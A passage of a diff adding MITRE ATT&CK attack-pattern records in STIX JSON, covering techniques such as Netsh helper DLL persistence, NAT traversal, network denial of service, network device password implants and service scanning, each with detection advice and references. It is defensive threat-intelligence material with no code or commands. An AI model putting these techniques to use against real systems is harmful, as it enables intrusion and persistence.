"description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.", + "source_name": "NT API Windows" + }, + { + "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html", + "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.", + "source_name": "Linux Kernel API" + }, + { + "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/", + "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.", + "source_name": "OutFlank System Calls" + }, + { + "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/", + "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.", + "source_name": "CyberBit System Calls" + }, + { + "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/", + "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.", + "source_name": "MDSec System Calls" + }, + { + "source_name": "Microsoft CreateProcess", + "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/ms682425" + }, + { + "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html", + "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.", + "source_name": "GNU Fork" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/api/", + "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.", + "source_name": "Microsoft Win32" + }, + { + "url": "https://man7.org/linux/man-pages//man7/libc.7.html", + "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.", + "source_name": "LIBC" + }, + { + "url": "https://www.gnu.org/software/libc/", + "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.", + "source_name": "GLIBC" + }, + { + "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework", + "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.", + "source_name": "Microsoft NET" + }, + { + "url": "https://developer.apple.com/documentation/coreservices", + "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.", + "source_name": "Apple Core Services" + }, + { + "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1", + "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.", + "source_name": "MACOS Cocoa" + }, + { + "url": "https://developer.apple.com/documentation/foundation", + "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.", + "source_name": "macOS Foundation" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T14:27:28.869Z", + "name": "Netsh Helper DLL", + "created": "2017-05-31T21:31:40.168Z", + "id": "attack-pattern--bb0e0cb5-f3e4-4118-a4cb-6bf13bfbc9f2", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1128", + "external_id": "T1128", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet Netsh", + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", + "url": "https://technet.microsoft.com/library/bb490939.aspx" + }, + { + "source_name": "Demaske Netsh Persistence", + "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.", + "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" + }, + { + "source_name": "Github Netsh Helper CS Beacon", + "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.", + "url": "https://github.com/outflankbv/NetshHelperBeacon" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-24T18:28:07.793Z", + "name": "Netsh Helper DLL", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "Module: Module Load" + ], + "x_mitre_version": "1.0", + "created": "2020-01-24T14:26:51.207Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", + "description": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "x_mitre_detection": "It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\\SOFTWARE\\Microsoft\\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/007", + "external_id": "T1546.007", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet Netsh", + "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", + "url": "https://technet.microsoft.com/library/bb490939.aspx" + }, + { + "source_name": "Github Netsh Helper CS Beacon", + "description": "Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017.", + "url": "https://github.com/outflankbv/NetshHelperBeacon" + }, + { + "source_name": "Demaske Netsh Persistence", + "description": "Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.", + "url": "https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-21T01:45:58.951Z", + "name": "Network Address Translation Traversal", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-10-19T16:48:08.241Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de", + "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device\u2019s configuration to determine if any unintended NAT rules have been added without authorization.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1599/001", + "external_id": "T1599.001", + "source_name": "mitre-attack" + }, + { + "url": "https://tools.ietf.org/html/rfc1918", + "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.", + "source_name": "RFC1918" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-10-21T01:45:59.246Z", + "name": "Network Boundary Bridging", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "created": "2020-10-19T16:08:29.817Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_defense_bypassed": [ + "Router ACL", + "Firewall" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166", + "description": "Adversaries may bridge network boundaries by compromising perimeter network devices. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices with out-of-band packet capture or network flow data, using a different device than the one in question. Look for traffic that should be prohibited by the intended network traffic policy enforcement for the border network device.\n\nMonitor the border network device\u2019s configuration to validate that the policy enforcement sections are what was intended. Look for rules that are less restrictive, or that allow specific traffic types that were not previously authorized.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1599", + "external_id": "T1599", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-12T18:34:06.995Z", + "name": "Network Denial of Service", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "1.1", + "created": "2019-04-17T20:23:15.105Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", + "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_detection": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1498", + "external_id": "T1498", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html", + "description": "Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong\u2019s Pro-Democracy Movement. Retrieved April 18, 2019.", + "source_name": "FireEye OpPoisonedHandover February 2016" + }, + { + "url": "https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf", + "description": "FS-ISAC. (2012, September 17). Fraud Alert \u2013 Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019.", + "source_name": "FSISAC FraudNetDoS September 2012" + }, + { + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf", + "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.", + "source_name": "Symantec DDoS October 2014" + }, + { + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf", + "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", + "source_name": "Cisco DoSdetectNetflow" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Device Authentication", + "x_mitre_data_sources": [ + "File: File Modification" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-20T20:11:00.356Z", + "created": "2020-10-19T17:58:04.155Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd", + "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1556/004", + "external_id": "T1556.004", + "source_name": "mitre-attack" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html", + "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.", + "source_name": "FireEye - Synful Knock" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Device CLI", + "x_mitre_data_sources": [ + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-07-26T15:57:50.800Z", + "created": "2020-10-20T00:09:33.072Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "id": "attack-pattern--818302b2-d640-477b-bf88-873120ce85c4", + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection. (Citation: Cisco Synful Knock Evolution)", + "x_mitre_remote_support": true, + "x_mitre_detection": "Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059/008", + "external_id": "T1059.008", + "source_name": "mitre-attack" + }, + { + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "source_name": "Cisco Synful Knock Evolution" + }, + { + "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23", + "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.", + "source_name": "Cisco IOS Software Integrity Assurance - Command History" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Device Configuration Dump", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-22T01:45:55.144Z", + "created": "2020-10-20T00:08:21.745Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd", + "description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration. (Citation: US-CERT TA18-068A 2018)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1602/002", + "external_id": "T1602.002", + "source_name": "mitre-attack" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A", + "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.", + "source_name": "US-CERT TA18-068A 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Logon Script", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution", + "Active Directory: Active Directory Object Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-24T23:45:25.625Z", + "created": "2020-01-10T18:01:03.666Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99", + "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1037/003", + "external_id": "T1037.003", + "source_name": "mitre-attack" + }, + { + "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008", + "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.", + "source_name": "Petri Logon Script AD" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Security Appliances", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:31:54.275Z", + "created": "2020-10-02T16:01:35.350Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413", + "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1590/006", + "external_id": "T1590.006", + "source_name": "mitre-attack" + }, + { + "url": "https://nmap.org/book/firewalls.html", + "description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.", + "source_name": "Nmap Firewalls NIDS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Network Service Scanning", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Cloud Service: Cloud Service Enumeration", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_version": "2.2", + "modified": "2021-04-09T14:56:26.562Z", + "created": "2017-05-31T21:30:43.915Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "User" + ], + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1046", + "external_id": "T1046", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/300.html", + "external_id": "CAPEC-300", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-31T12:39:48.118Z", + "name": "Network Share Connection Removal", + "created": "2017-05-31T21:31:38.350Z", + "id": "attack-pattern--e7eab98d-ae11-4491-bd28-a53ba875865a", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1126", + "external_id": "T1126", + "source_name": "mitre-attack" + }, + { + "source_name": "Technet Net Use", + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/bb490717.aspx" + } + ] + }, + { + "object_marking_refs": [ + 